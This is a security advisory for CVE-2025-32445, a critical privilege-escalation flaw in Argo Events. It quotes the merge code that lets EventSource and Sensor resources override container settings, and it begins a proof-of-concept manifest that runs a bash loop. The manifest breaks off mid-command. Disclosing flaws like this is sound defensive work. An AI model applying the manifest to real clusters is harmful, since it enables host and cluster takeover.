Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR
Date: 2025-04
Affected: go/github.com/argoproj/argo-events
Attack vector: other
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2025-32445
CWE: CWE-250
CWE-268
CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

### Summary: A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. ### Details: The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below. ```golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } } ``` With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`. Here is an example that demonstrates the vulnerability. ``` apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do rm


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Architectural layers (MAESTRO):